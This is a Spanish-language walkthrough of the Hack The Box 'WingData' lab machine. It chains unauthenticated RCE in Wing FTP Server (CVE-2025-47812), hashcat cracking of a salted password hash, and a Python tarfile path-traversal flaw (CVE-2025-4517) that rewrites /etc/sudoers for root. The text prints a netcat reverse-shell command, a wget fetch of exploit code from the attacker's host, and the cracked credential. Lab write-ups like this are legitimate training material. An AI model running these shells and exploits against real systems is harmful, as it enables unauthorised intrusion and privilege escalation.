WingData WriteUp

Table of Contents

WingData WriteUp

WingData es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box, Season 10, creada por WackyH4cker. La cadena de ataque combina la explotación de un Wing FTP Server vulnerable para obtener acceso inicial, extracción y crackeo de credenciales desde ficheros de configuración, y escalada de privilegios mediante una vulnerabilidad en el módulo tarfile de Python.

🗺️ Cadena de Ataque

Reconocimiento → Puerto 80 + 22
      │
      ▼
Enumeración web → ftp.wingdata.htb (Wing FTP Server v7.4.3)
      │
      ▼
CVE-2025-47812 → RCE sin autenticación → Shell como wingftp
      │
      ▼
/opt/wftpserver/Data/1/users/wacky.xml → Hash SHA-256 con sal
      │
      ▼
Hashcat (modo 1410) → Contraseña en texto claro → SSH como wacky
      │
      ▼
sudo -l → restore_backup_clients.py (root) → CVE-2025-4517
      │
      ▼
Tar malicioso → path traversal → /etc/sudoers → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts para poder usar el nombre de dominio en todas las herramientas:

echo "10.129.244.106 wingdata.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Hacemos el reconocimiento en dos fases, primero descubrimos los puertos abiertos de forma rápida y luego lanzamos los scripts de detección sobre ellos.

Fase 1 - Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv wingdata.htb

Fase 2 - Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv wingdata.htb

Los puertos que encontramos:

PuertoServicioDetalle
22SSHOpenSSH 9.2p1 (Debian 12)
80HTTPApache httpd 2.4.66 (Debian)

Enumeración Web

Fuzzeamos directorios en el sitio principal:

ffuf -u http://wingdata.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 40
/assets     [Status: 301]
/vendor     [Status: 301]   ← indica framework PHP

Nada relevante en el sitio principal. Enumeramos subdominios virtuales:

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://wingdata.htb" -H "Host: FUZZ.wingdata.htb" -fw 21
ftp    [Status: 200, Size: 678]

🎯 Encontramos el subdominio ftp.wingdata.htb. Actualizamos /etc/hosts para incluir también este subdominio:

# Añadimos ftp.wingdata.htb a la misma línea que ya existe
sudo sed -i 's/wingdata.htb/wingdata.htb ftp.wingdata.htb/' /etc/hosts

Al visitar http://ftp.wingdata.htb vemos la página de login de Wing FTP Server v7.4.3.

WingData WriteUp

💉 Acceso Inicial - CVE-2025-47812

¿Qué es CVE-2025-47812?

🧠 Wing FTP Server v7.4.3 contiene una vulnerabilidad de ejecución remota de código sin autenticación. El servidor expone un endpoint que procesa comandos Lua sin verificar correctamente la sesión del usuario, permitiendo a cualquier atacante ejecutar código arbitrario en el sistema.

Descargamos el PoC:

git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
cd CVE-2025-47812-poc

Preparamos el listener:

penelope -p 8443

Ejecutamos el exploit con nuestra reverse shell:

python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.14.100 8443 -e /bin/sh" -v
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'nc 10.10.14.100 8443 -e /bin/sh' and username: 'anonymous'
[+] UID extracted: bfee565dfeccd21a28c60c4dfb4d7cdef528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: bfee565dfeccd21a28c60c4dfb4d7cdef528764d624db129b32c21fbca0cb8d6

En nuestro listener recibimos la conexión:

wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
wingftp@wingdata:/opt/wftpserver$ hostname
wingdata

Shell obtenida como wingftp.

🔑 Extracción de Credenciales

Wing FTP Server almacena los usuarios y sus contraseñas en ficheros XML dentro del directorio de instalación:

find /opt/wftpserver -name "*.xml" 2>/dev/null
/opt/wftpserver/Data/1/users/wacky.xml
cat /opt/wftpserver/Data/1/users/wacky.xml
<User>
  ...
  <Username>wacky</Username>
  <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
  ...
</User>

💡 Wing FTP Server utiliza SHA-256 con la sal por defecto WingFTP en el formato sha256($pass.$salt), que corresponde al modo 1410 de hashcat.

Cracking del Hash

Preparamos el fichero con el formato hash:sal:

echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hash.txt

Lanzamos hashcat:

hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Session..........: hashcat
Status...........: Cracked

🔑 Credenciales obtenidas: wacky:!#7Blushing^*Bride5

🔀 Movimiento Lateral - SSH como wacky

ssh wacky@wingdata.htb # !#7Blushing^*Bride5

🚩 User Flag

cat ~/user.txt

🧗‍♂️ Escalada de Privilegios - CVE-2025-4517

Enumeración de Permisos sudo

sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

⚠️ Hallazgo clave: Podemos ejecutar como root el script restore_backup_clients.py con cualquier argumento (*). Este script restaura backups de clientes extrayendo ficheros .tar. Vamos a analizar su comportamiento:

cat /opt/backup_clients/restore_backup_clients.py

El script acepta un fichero .tar del directorio /opt/backup_clients/backups/ y lo extrae usando tarfile.open().extractall() con filter="data".

¿Qué es CVE-2025-4517?

🧠 El módulo tarfile de Python (versiones 3.8.0–3.13.1) contiene una vulnerabilidad que permite escritura arbitraria de ficheros fuera del directorio de extracción, incluso con filter="data" activado. La explotación encadena tres técnicas:

  1. Path overflow: Se crean rutas con profundidad superior a PATH_MAX para confundir la resolución de rutas.
  2. Symlink traversal: Se crean symlinks que apuntan fuera del directorio de extracción.
  3. Hardlinks: Se referencian los symlinks escapados mediante hardlinks, que filter="data" no filtra correctamente.

El resultado: podemos escribir en cualquier fichero del sistema, como /etc/sudoers.

Creación del Tar Malicioso

El exploit crea el tar malicioso, lo despliega en el directorio de backups, lanza la extracción vulnerable y, si tiene éxito, spawna automáticamente una shell de root:

# Clonamos el repositorio y copiamos en exploit en nuestra carpeta http de kali linux
git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData
cp CVE-2025-4517-POC-HTB-WingData/CVE-2025-4517-POC.py ~/http/exploit.py
# Levantamos HTTP con goshs
goshs -d ~/http -p 80 -i 0.0.0.0
# Pasamos el exploit a la máquina y lo ejecutamos
wget http://10.10.14.100/exploit.py
python3 exploit.py
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝
    
[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999

[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y

[*] Spawning root shell...
[*] Run: sudo /bin/bash

root@wingdata:/home/wacky#

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapPuertos 22 y 80 (Apache)
2Enumeración webffufSubdominio ftp.wingdata.htb → Wing FTP Server v7.4.3
3RCE sin autenticaciónCVE-2025-47812 PoCShell como wingftp
4Extracción de credencialescatHash SHA-256 de wacky en wacky.xml
5Cracking de hashhashcat -m 1410Contraseña !#7Blushing^*Bride5
6Movimiento lateralsshAcceso como wacky + User Flag 🚩
7Enumeración sudosudo -lScript Python con tarfile ejecutable como root
8Escritura arbitraria de ficherosCVE-2025-4517 PoCEntrada maliciosa en /etc/sudoers
9Escalada a rootCVE-2025-4517 PoCShell automática como root + Root Flag 🏴

Un saludo, nos vemos en el próximo challenge.